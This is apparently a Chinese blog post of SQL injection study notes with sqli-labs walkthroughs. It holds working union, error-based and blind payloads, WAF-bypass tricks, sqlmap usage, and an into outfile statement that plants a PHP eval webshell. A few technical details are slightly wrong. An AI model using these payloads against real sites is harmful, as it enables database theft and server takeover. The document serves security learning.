[总结]SQL注入基础
文章目录
注入原理与相关知识
SQL注入:通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
注入漏洞产生原因
程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。
在解释型语言中,如果程序与用户进行交互。用户就可以构造特殊的输入来拼接到程序中执行,从而使得程序以据用户输入执行有可能存在恶意行为的代码。
用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据或进行数据库操作。
服务端内基本的SQL语句:
查询:
SELECT statement FROM table WHERE condition
删除记录:DELETE FROM table WHERE condition
更新记录:UPDATE table SET field=value WHERE condition
添加记录:INSERT INTO table field VALUES(values)
基本的登录语句:
select * from admin where username = '用户输入的用户名 and password '用户输入的密码';
用户输入的内容可由用户自行控制,例如输入’ or 1=1 --空格
此时就变成
username = ' or 1=1 -- ' and password ='用户输入的密码';
其中or 1=1永远为真,–注释后边内容不再执行,因此SQL语句执行会返回表中所有的内容
小结:
-
用户输入不可控
-
输入内容被带入SQL语句执行
相关知识
Mysql中的十六进制与URL编码都可以被自动解码识别。
在Mysql 5.0+版本中,为了方便管理,默认定义了information_schema数据库,用来储存数据库元信息。其中具有表schemata(数据库名)、tables(表名)、columns(列名或字段名)
- 在schemata表中,schema_name字段用来存储数据库名
- 在tables表中,table_schema和table_name分别用来存储数据库名和表名
- 在columns表中,table_schema(数据库名)、table_name(表名)、column_name(字段名)
常用函数
- system_user() :系统用户名
- user():用户名
- current_user():当前用户名
- session_user():链接数据库的用户名
- database():数据库名
- version():数据库版本
- @@datadir:数据库路径
- @@basedir:数据库安装路径
- @@version_conpile_os:操作系统
- count():返回执行结果数量
- concat():没有分隔符地链接字符串
- concat_ws():含有分隔符地连接字符串
- group_concat():连接一个组的所有字符串,并以逗号分隔每一条数据
- load_file():读取本地文件
- into outfile :写文件
- ascii():字符串的ASCII代码值
- ord():返回字符串第一个字符的ASCII值
- mid():返回一个字符串的一部分
- substr():返回一个字符串的一部分
- length():返回字符串的长度
- left():返回字符串最左面几个字符
- floor():返回小于或等于x的最大整数
- rand():返回0和1之间的一个随机数
- extractvalue(xml,XPath)
- 第一个参数:XML_docment是String格式,为XML文档对象的名称,文中为Doc
- 第二个参数:XPath_string(Xpath格式的字符串)
- 作用:从目标XML中返回包含所查询值的字符串
- updatexml(xml_document,XPath_string,new_value)
- 第一个参数:XML_docment是String格式,为XML文档对象的名称,文中为Doc
- 第二个参数:Xpath_string(Xpath格式的字符串)
- 第三个参数:new_value,String格式,替换查找到的符合条件的数据
- 作用:改变文档中符合条件的节点的值
- sleep(N):让此语句运行N秒钟
- char():返回整数ASCII代码字符组成的字符串
- STRCMP():比较字符串内容
- IFNULL(1,2) :假如参数1不为NULL,则返回值为参数1,否则其返回值为参数2
- exp(x):返回e的x次方
常用命令
- 注释符
- #
- –空格
- –+
- /* */
- /*! SQL语句 */ 内联注释,mysql能识别并执行注释内语句,常用来绕过WAF
- order by x :判断字段数
- 原为排序命令,将第x个字段进行排序,在这里如果不存在第x个字段,就会报错
- union select :联合查询
- 可以使用它连接两条或多条select语句的查询结果,结果合并成一张表
- 要将第一个查询报错,不然不会返回联合查询的结果
- 将第一个查询(原来的)报错,查询的结果就是自己构造的查询的结果
相关符号:
- 0x3a :十六进制的冒号
- 0x7e :十六进制的~
- %5C :即URL编码的反斜杠\
- %0a :即URL编码的换行符,即enter回车键
- %08 :即URL编码的空格
- %27 :即URL编码的单引号’
常用注入语句
联合查询:
-
获取表名
0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
-
获取字段名
0'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='表名' --+
-
获取字段值
0' union select 1,group_concat(字段名,0x3a,字段名),3 from 表名 --+
报错注入:
Duplicate entry报错:
-
获取数据库
0' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
-
获取表名
0' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
-
获取字段名
0' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from 数据库名.表名 limit(1,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
Xpath报错:
-
获取数据库名
' or updatexml(1,concat(0x7e,database(),0x7e),1)--+
-
获取表名
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'),0x7e),1)--+
-
获取字段名
' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'),0x7e),1)--+
-
获取字段值
' or updatexml(1,concat(0x7e,(select * from (select concat_ws(0x7e,字段名,字段名) from users limit 0,1) a),0x7e),1)--+
SQL注入流程
- 判断注入点
- 判断注入点类型
- 判断数据库类型
- 获取所需信息,提权
判断注入点
- 一个可以输入的地方
- 凡是输入能与数据库进行交互的
- GET参数触发注入
- POST参数触发注入
- HTTP头触发注入
例如URL链接的GET参数:
http://xxx/test.php?id=1
在链接后面,尝试输入单引号,and 1=1,or 1=1之类的
或者在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠\来探测URL中是否存在注入点
判断注入类型
sql注入按注入点类型可分为:1.数字型注入,2.字符型注入,3.搜索型注入等
1.数字型
查询语句例如:select * from table where id= 用户输入的id;
注入方式:直接在id值后面加上and或or和自己构造的语句即可
2.字符型
查询语句例如:select * from table where id ='用户输入的id';
注入方式:输入id值时,在后面加上'
来闭合前一个单引号,接着输入自己构造的语句,最后加上注释符注释掉后面的内容
如输入:1' order by 3 --+
判断数据库类型
使用相关的扫描工具,或查看默认错误的信息来判断
网站常见的架构(语言+数据库类型):
- php + mysql
- asp + access
- asp + mssql
- asp.net + mssql
- jsp + oracle
- jsp + mysql
获取所需信息,提权
在可注入的地方,构造语句,查询数据库名,表名,字段名,值等
可以构造一些语句来提升权限
GET注入
提交数据的方式是 GET ,注入点的位置在 GET 参数部分。
传递的参数的值都在URL内可见
例如:http://xxx.com/test.php?id=1 ,id 是注入点
POST注入
提交数据的方式是 POST,注入点位置在POST数据部分。
常在表单中使用POST方式提交数据
例如:提交用户的账号密码,就是用POST方式提交
POST数据需要抓包才能查看
打靶
以sqli-less11为例
使用burp suite抓包,先设置浏览器代理
然后打开截断
在表单内随便输入账号密码,并登录,burp suite会自动拦截
发送到Repeater
在参数那里构造我们的注入语句,然后send
最后得到我们要的数据
盲注
普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了.
在SQL注入过程中,服务器并没有给客户端返回相关信息,使得无法用原来的注入方式,查询想要数据。
- 基于布尔的盲注
- 基于时间的盲注
基于布尔的盲注
根据返回页面,判断条件真假的注入。
错误不返回任何信息,正确返回正常值
常用的注入语句:
and length(database()=x)
ascii(substr(database(),1,1))>X
基于时间的盲注
不能根据返回页面来判断任何信息,这时就构造时间延迟语句,来判断是否执行。
常用语句:
-
if(expr1,expr2,expr3)
如果expr1的值为true,则返回expr2的值,否则返回expr3的值
-
substr(string string,num start,num length) :返回子字符串
string为字符串
start为起始位置(MySQL中位置从1开始)
length为长度。
-
sleep(X) :延迟X秒
常用的注入语句:
if (length(database()=X,sleep(5),1)
if (ascii(substr(database(),1,1))=X,sleep(5),1)
打靶:
基于布尔的盲注:
以sqli-less 8为例
构造语句1' and length(database())=10 --+
,无回显结果,表明当前数据库名长度不为10
构造语句1' and length(database())=8 --+
,有回显结果,表明当前数据库名长度为8
同理,分别构造语句1' and ascii(substr(database(),1,1))>114 --+
和1' and ascii(substr(database(),1,1))>115 --+
,猜解出数据库名的第一个字母为s
,依次继续,即可猜解出数据库的名字为security
基于时间的盲注:
以sqli-less 8为例
构造语句1' and if(length(database())=7,sleep(5),1) --+
,和1' and if(length(database())=8,sleep(5),1) --+
,观察网页响应需要的时间,如果满足条件,则会延迟5s
可以利用审查元素的网络来检测响应时间,如图盲注-6,当猜库名长度为8,所需的时间明显比7长,从而猜解出当前数据库名长度为8。
HTTP头的注入
注入点在 HTTP 请求头部的某个字段中。
比如存在 User-Agent 字段中,在Cookie字段中。
有时服务器会过滤掉用户直接提交的参数,但是对于HTTP头中提交的内容很有可能就没有进行过滤。这时就可以使用HTTP头的注入
HTTP头介绍
-
Host
Host请求报头域主要用于指定被请求资源的Internet主机和端口号。
如:Host: localhost:8088
-
User-Agent
User-Agent请求报头域允许客户端将它的操作系统、浏览器和其他属性告诉服务器。登录一些网站时,很多时候都可以见到显示我们的浏览器、系统信息,这些都是此头的作用。如:
User-Agent: Mozilla/5.0
-
Referer
Referer包含一个URL,代表当前访问URL的上一个URL,也就是说,用户是从什么地方来到本页面。如:
Referer: http://localhost:8088/sqli/
-
Cookie
Cookie是非常重要的请求头,它是一段文本,常用来表示请求者身份等。
如:Cookie: username=admin; password=admin
-
Range
Range可以请求实体的部分内容,多线程下载一定会用到此请求头。
如:表示头500字节:Range: bytes=0~499
表示第二个500字节:Range: bytes=500~999
表示最后500字节:Range: bytes=-500
表示500字节以后的范围:Range: bytes=500- -
X-Forwarded-For
X-Forwarded-For即XXF头,它代表请求端的IP,可以有多个,中间以逗号隔开。
如:X-Forwarded-For: 8.8.8.8
-
Accept
Accept请求报头域用于指定客户端接收哪些MIME类型的信息。
如:Accept: text/html
-
Accept-Charset
Accept-Charset请求报头域用于指定客户端接收的字符集。如果在请求消息中没有设置这个域,默认是任何字符集都可以接收。
如:Accept-Charset: gb2312
cookies注入:
服务器可以利用cookies包含信息地任意性来筛选并经常性维护这些信息,以判断http传输中地状态。
cookies是典型的应用是判定注册用户是否已经登录网站,用户可能会得到提示,是否在下一次进入此网站时保留用户信息以便简化登录手续,这些都是cookies的功能,另一个重要应用场合是“购物车”之类处理。用户可能会在一段时间内在同一家网站的不同页面中选择不同的商品,这些信息都会写cookies,以便在最后付款时提取信息。
在审查元素里的console中,输入document.cookie获取cookie
代码中使用cookie传递参数,但是没有对cookie中传递的参数进行过滤操作,就会导致注入的产生。
有时,传输的cookies值(其他值)会经过base64编码加密。
base64
base64编码是从二进制到字符的过程,可用于在HTTP环境下传递较长的标识信息。Base64是网络上最常见的用于传输8Bit字节码的编码方式之一,Base64就是一种基于64个可打印字符来表示二进制数据的方法。
通过base64,将原始内容转换为二进制,从左到右依次取6位,然后在最高位补两位0,形成新的内容。
编码规则:
-
把每3个字符变成4个字符
-
每76个字符加一个换行符
-
最后的结束符也要处理(==)
常用函数:
- base64_decode(str) :PHP语言中用于解密Base64加密字符串的函数
打靶
以sqli-less18为例
通过各种尝试发现,账号和密码无法进行注入,于是可以尝试HTTP头的User-Agent注入。
同样的,通过burp suite抓包,并在User-Agent处,构造我们的注入语句,'or updatexml(1,concat(0x7e,database(),0x7e),1))#
,即可查询我们想要的数据。
头中的Referer、Cookie同理。
base64加密的Cookie注入:
如图HTTP-4,cookie是经过base64加密的,所以我们构造的注入语句也是需要这样加密的。
使用burp suite自带的加密解密功能,对我们构造的语句') union select 1,database(),3#
进行base64加密。
注入成功
当然,我们也可以对一开始截获的密文,进行解密,验证我们的猜测
首先进行URL解密
再进行base64解密
最后得到的是admin
,也就是一开始解密后的cookie值
宽字节注入
窄字节:某个字符的大小为一个字节
宽字节:某个字符的大小为两个字节
常见的窄字节编码:ASCII,ANSI(扩展的ASCII)
常见的宽字节编码:GBK,GBK2313,BIG5,Shift_JIS等
PHP中的编码为GBK,相关转换函数执行添加的是ASCII编码(添加的符号为“\”),MySQL默认字符集是GBK等宽字节字符集.
为了防止SQL注入,服务端对用户输入的单引号’进行处理,例如在单引号前加上反斜杠\进行转义,使单引号不再具有单引号的作用,仅仅称为内容,无法用来闭合。
这时,可以使用宽字节注入的方式,也可以将用来转义的\失效。
例如输入:%DF'
,会被PHP当中的addslashes之类的函数转义为%DF\'
,\
就是URL里的%5C
,那么也就是说,%DF'
会被转换成%DF%5C%27
,倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为%DF%5C
是一个宽字符,也就是縗
字,则%DF'
就等于縗'
,单引号就构造好了。
最常使用的宽字节注入是利用%df,其实我们只要第一个ascii码大于128就可以了,比如ascii码为129的就可以,但是我们怎么将他转换为URL编码呢,其实很简单,我们先将129(十进制)转换为十六进制为0x81,然后在十六进制前面加上%即可,即为%81
GBK首字节对应0x81-0xFE,尾字节对应0x40-0xFE(除0x7F)
小结:
宽字节注入即是利用编码转换,将服务器端强制添加的本来用于转义的\
符号吃掉,从而能使攻击者输入的引号起到闭合作用,以至于可以进行SQL注入。
打靶
以sqli-less32为例
二次注入
攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
二次分为:
-
插入恶意数据
插入数据时,对其中的特殊字符进行了转义,在写入数据库时又保留了原来的数据。
-
引用恶意数据
开发者默认存入的数据都是安全的,在进行查询时,直接从数据库中取出并执行SQL语句。
危害
- 利用payload触发二次SQL注入
- 利用payload触发XSS攻击
打靶
以sqli-less24为例
先注册一个新用户,用户名字dumb'#
,密码123456
登录该用户,然后修改密码为123456
然后退出用户,使用用户名dumb
,密码12346
登录,发现登录成功
查询数据库,会发现,注册前,如图二次注入-4所示,注册后,如图二次注入-5所示
这样便完成了二次注入
报错注入
报错注入也属于盲注的一种
正常用户访问服务器发送id信息后,会返回正确的id数据。
报错注入是想办法构造语句,让错误信息中可以显示数据库的内容;如果能让错误信息中返回数据库中的内容,即实现SQL注入,主要应用与查询不回现内容。
- Duplicate entry报错
- Xpath报错
- 整型溢出报错
在后台是
select
语句时我们能通过union
联合查询获得错误信息中的数据。
而这里的后台是update
(delete
/insert
)语句,我们只能通过or
逻辑判断派生表(from的子查询)来获得错误信息中的数据。
Duplicate entry报错
多次查询插入重复键值导致count报错,从而在报错信息中返回所需信息。
常用函数:
- count() :计算总数
- concat() :连接字符串
- floor() :取整函数,向下取整数
- rand() :随机函数,产生0~1的随机数
- rand(0) :产生的序列是011011
常见语句:
select count(*),(floor(rand(0)*2))x from information_schema.tables group by x;
1' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
Xpath报错
常用函数:
- extractvalue(xml,XPath)
- 第一个参数:XML_docment是String格式,为XML文档对象的名称,文中为Doc
- 第二个参数:XPath_string(Xpath格式的字符串)
- 作用:从目标XML中返回包含所查询值的字符串
- updatexml(xml_document,XPath_string,new_value)
- 第一个参数:XML_docment是String格式,为XML文档对象的名称,文中为Doc
- 第二个参数:Xpath_string(Xpath格式的字符串)
- 第三个参数:new_value,String格式,替换查找到的符合条件的数据
整型溢出报错
需要mysql版本>5.5.5
常用函数:
- exp(x) 计算e的x次方,即ex
读写文件
读文件
前提:
用户权限足够高,尽量具有root权限
数据库配置选项secure_file_priv是否为NULL,如果是NULL则不能读文件,因为这个默认为NULL
通过使用
show global variables like "secure_file_priv";
语句查看2中配置是否为NULL
- load_file():读取本地文件
例如:
select load_file('D:\\flag.txt');
读取文件
如果不存在文件或者没有权限,返回NULL,反正返回文件内容
写文件
前提:
用户权限足够高,尽量具有root权限
数据库配置选项general_log是否为ON,如果是OFF,则不能写入文件
通过使用
show variables like '%general%';
语句查看2中配置是否为OFF命令
set globle general_log = on;
可将OFF修改为ON
- into outfile :写文件
例如:
select * from table into outfile 'D:\\flag.txt';
将查询结果,写到文件内
常用的注入命令:
-1' union select 1,’<?php phpinfo();?>',3 into outfile '\\1.php' --+
写入一句话木马:<?php @eval($_POST['x']);?>
,后用中国菜刀连接
打靶
以sqli-less 7为例
写文件:
先确保具备前提条件
构造注入语句-1')) union select 1,’<?php phpinfo();?>',3 into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\sqli\\Less-7\\1.php' --+
会发现该目录会生成名为1.php
的文件
直接URL访问,如此就完成了目的
同理,我们可以构造语句-1')) union select 1,’<?php @eval($_POST["x"]);?>',3 into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\sqli\\Less-7\\1.php' --+
,写入一句话木马,注意:变量x
是用双引号包起来的,如果使用单引号就会出现自己闭合自己的情况
使用中国菜刀进行连接,任务完成
绕过简单的保护机制
服务端为了防止SQL注入的发生,会对用户的输入进行处理,再将其拼接到查询语句中。
使用函数过滤用户的输入,使其仅作为字符串内容,而不具备任何的执行功能,从而导致注入的失败。
- 绕过去除注释符的SQL注入
- 绕过去除空格的SQL注入
- 绕过去除敏感关键字的SQL注入
- ……
一般php的过滤函数如下:
-
preg_replace(mixed $pattern , mixed $replacement , mixed $subject)
执行一个正则表达式搜索和替换
- $pattern:要搜索的模式,可以是字符串或一个字符串数组
- $replacement:用于替换的字符串或字符串数组
- $subject:要替换的目标字符串或字符串数组
对应策略:
绕过去除注释符的SQL注入
当服务端过滤了注释符时,则无法利用注释符,注释掉查询语句后面的单引号等
此时我们需要换个思路,构造语句使用单引号来闭合后面的单引号。
例如:
服务端的查询语句为select * from table where possword ='用户输入的possword';
时,在输入possword的地方,除了输入possword,加上'or '1'='1
来闭合前后的单引号,where后面的语句就变成了possword ='xxx' or '1'='1';
此时,‘1’='1’永远为真,这样就能实现,在不知道密码的情况下,直接登录账号。
绕过去除空格的SQL注入
当服务端过滤了空格时,构造的注入语句失去了空格的隔开,使得MySQL识别不了相应的语句,导致注入的失败。
此时我们需要换个思路,使用其他方法来取代空格。
- %0a :URL编码的换行符(回车键)
- %09 :URL编码的TAB键
- `(tab键上面的)
- /**/
- ()
- 两个空格
- ……
例如:
正常语句:select id from users;
替换空格:
select(id)from(users);
select/**/id/**/from/**/users;
- ……
绕过去除敏感关键字的SQL注入
当服务端过滤了敏感关键字时,构造的注入语句就会查询不来对应的数据,导致注入的失败。
如果WAF里的正则对大小写不敏感,即过滤使用的正则无/i
,可以使用大小写的方法绕过WAF,因为MySQL对大小写不敏感,即大写和小写没有区别。
例如:
将构造好的语句中的and,变成AnD
等,从而达到绕过的目的。
在某些简单的WAF里,过滤关键字时,只是用简单的replace函数或者只过滤了一次,这时可以使用双写关键字来绕过。
例如:
将构造好的语句中的select
,变成seleselectct
等,经服务端处理后,又变回了select
,从而达到绕过的目的。
在MySQL中,and
等效于&&
,or
等效于||
。
小结
- 大小写变形
- 双写
- 关键字中添加注释(a/**/nd)
- 特殊编码(URL、十六进制)
ps.似乎无法在Windows的apache下使用特殊字符来代替空格,达到绕过去除空格的作用,原因似乎是对空格的转义有问题。。。。
sqlmap的基本使用
基本语句:sqlmap -u "网址xx.php?id=1"
–dbs:默认模式
–batch:中途不会询问
–form:自动搜索POST表单注入
–tamper base64encode:以base64加密的方式注入
–tamper unmagicquotes.py:以宽字节的方式注入
得到数据库名
-D 数据库名 --tables :得到数据表
-D 数据库名 -T 表名 --columns :得到数据库字段
-D 数据库名 -T 表名 -C 字段名 --dump :探测具体值
POST方式:
使用burp suite抓包,将数据包的内容复制到一个txt里。
基本语句:sqlmap -r "文件路径 " -p "指定探测的参数名"
HTTP头方式:
需要在txt文件中,将对应的参数修改为*
,这时sqlmap才会当作注入点进行测试,否则就会忽略掉。
读写文件:
–file-read “路径” :读文件
–file-write”本地路径” :读取需要写入的文件
–file-dest”远程路径” :将读取的文件写入到指定路径
*ACCESS偏移注入
ACCESS,微软发布的关系数据库管理系统,和MySQL类似,都是关系型数据库,不同的是,ACCESS只有表的概念,没有数据库的概念。
原理:
借用数据库的自连接查询让数据库内部发生乱序(随机的过程),从而偏移出所需要的字段在我们的页面上显示。
因此运气很重要,不能保证100%成功。
运用场景:
猜解出ACCESS的表名,但是猜解不到字段名的SQL注入困境。
例如,字段名取名复杂,字典暴力破解不成功。
流程:
-
判断字段数:order by x
-
判断显示位:union select 1,2,3,…,x from admin
利用*代替admin中的字段,如:1,2,3,*,直到1,2,3,y,*返回正常。
-
开始偏移注入,利用注入公式
注入公式:
order by 出的字段数减去*号的字段数,然后再用order by的字段数减去2倍刚才得出来的答案z。
z = x − 2 ∗ ( x − y ) z=x-2*(x-y) z=x−2∗(x−y)
最后构造union select 1,2,…,z,a.id=b.id,* from (admin as a inner join admin as b);
总结
在下才疏学浅,能力有限,如果有错误的地方,请见谅。
学完这一阶段的sql注入,算是入门了,尽管这是基础篇,但整理笔记也是不太容易的,以后还是得多打靶练习,多练习绕过WAF,查询语句等,因为实战中肯定没有像靶场那么简单的、模式化的。
就算是靶场,其实注入的方式和构造的语句也有多种,就比如sqli-less26,既可以绕过去除空格的注入,也可以用updatexml来构造语句注入,方式不行,能达到目的即可。
一入网安深似海,从此头发是路人,希望能为网络安全事业尽一份绵薄之力。
参考资料
[SQL注入各类型 讲解及利用 (一)]
https://blog.csdn.net/lendq/article/details/80226452
[SQ注入(1)SQL注入类型介绍]
https://www.cnblogs.com/xuthus/p/9450805.html
[sqli-宽字节注入]
https://www.cnblogs.com/Rain99-/p/10583406.html
[SQL注入防御绕过——二次注入]
https://www.jianshu.com/p/3fe7904683ac
[sql盲注之报错注入(附自动化脚本)]
https://www.freebuf.com/column/158705.html
[sql注入绕过方法总结]
https://blog.csdn.net/huanghelouzi/article/details/82995313
以及各种百度等